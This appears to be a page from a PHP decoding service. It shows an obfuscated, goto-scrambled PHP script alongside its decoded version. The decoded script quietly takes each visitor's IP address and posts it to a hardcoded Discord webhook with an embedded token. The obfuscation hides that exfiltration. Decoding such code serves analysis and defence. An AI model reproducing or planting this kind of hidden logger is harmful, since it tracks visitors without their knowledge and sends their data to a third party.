Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto Bj2mk; oQdjt: $discordWebhook = "\150\164\164\160\x73\72\x2f\x2f\144\151\x73\..
Decoded Output download
<?php
goto Bj2mk; oQdjt: $discordWebhook = "https://discord.com/api/webhooks/1138672524557811762/STTOIOKo8DDkoD3haJNbScjQVaxgvyUnKauxA2OtzU5-n__WWaFRZcUPqga12nwODRzp"; goto Drbjk; aej7t: if ($response === false) { echo "Error sending IP address to Discord."; } else { echo "IP address sent successfully to Discord."; } goto aRd7p; Z0gYi: $message = "The user's IP address is: {$userIP}"; goto oQdjt; FSzbh: $userIP = $_SERVER["REMOTE_ADDR"]; goto Z0gYi; CKt1n: curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(array("content" => $message))); goto FlUIq; GsVkX: $response = curl_exec($ch); goto dleIa; Drbjk: $ch = curl_init($discordWebhook); goto kyw2T; FlUIq: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto zQ43R; zQ43R: curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/json")); goto GsVkX; dleIa: curl_close($ch); goto aej7t; Bj2mk: error_reporting(E_ALL); goto H6E9P; kyw2T: curl_setopt($ch, CURLOPT_POST, 1); goto CKt1n; H6E9P: ini_set("display_errors", 1); goto FSzbh; aRd7p: ?>
Did this file decode correctly?
Original Code
<?php
goto Bj2mk; oQdjt: $discordWebhook = "\150\164\164\160\x73\72\x2f\x2f\144\151\x73\x63\157\x72\x64\x2e\x63\x6f\x6d\x2f\141\160\x69\57\x77\145\x62\x68\x6f\x6f\x6b\x73\x2f\x31\x31\x33\70\66\67\x32\65\62\64\65\x35\67\70\61\x31\x37\66\x32\57\x53\124\x54\117\x49\x4f\x4b\157\x38\x44\x44\x6b\x6f\104\63\150\141\112\116\142\123\x63\x6a\121\x56\141\x78\x67\166\171\x55\x6e\x4b\x61\x75\x78\x41\x32\x4f\164\172\x55\65\x2d\x6e\x5f\137\x57\127\141\x46\x52\132\143\x55\120\x71\x67\141\61\x32\156\x77\x4f\104\122\172\x70"; goto Drbjk; aej7t: if ($response === false) { echo "\x45\x72\x72\157\x72\x20\x73\x65\156\144\151\156\x67\40\111\120\40\x61\x64\144\x72\x65\163\163\x20\x74\157\x20\x44\x69\163\143\x6f\162\x64\56"; } else { echo "\x49\x50\40\x61\x64\144\x72\x65\x73\x73\x20\163\x65\156\x74\40\163\165\x63\x63\145\x73\x73\146\x75\x6c\154\171\x20\x74\x6f\x20\104\x69\163\x63\x6f\162\x64\56"; } goto aRd7p; Z0gYi: $message = "\124\x68\145\40\165\163\x65\162\x27\x73\x20\111\x50\40\x61\x64\x64\x72\145\163\x73\40\151\163\x3a\x20{$userIP}"; goto oQdjt; FSzbh: $userIP = $_SERVER["\122\105\115\117\x54\105\x5f\x41\x44\x44\x52"]; goto Z0gYi; CKt1n: curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(array("\x63\x6f\156\164\x65\x6e\x74" => $message))); goto FlUIq; GsVkX: $response = curl_exec($ch); goto dleIa; Drbjk: $ch = curl_init($discordWebhook); goto kyw2T; FlUIq: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto zQ43R; zQ43R: curl_setopt($ch, CURLOPT_HTTPHEADER, array("\103\x6f\x6e\164\145\156\164\55\124\x79\160\x65\72\40\141\x70\x70\154\x69\143\x61\164\151\x6f\x6e\x2f\152\x73\x6f\156")); goto GsVkX; dleIa: curl_close($ch); goto aej7t; Bj2mk: error_reporting(E_ALL); goto H6E9P; kyw2T: curl_setopt($ch, CURLOPT_POST, 1); goto CKt1n; H6E9P: ini_set("\144\151\x73\160\154\141\171\x5f\145\x72\x72\157\162\163", 1); goto FSzbh; aRd7p: ?>
Function Calls
None |
Stats
MD5 | c9f2996c948af33e6be6b72804aab2e4 |
Eval Count | 0 |
Decode Time | 51 ms |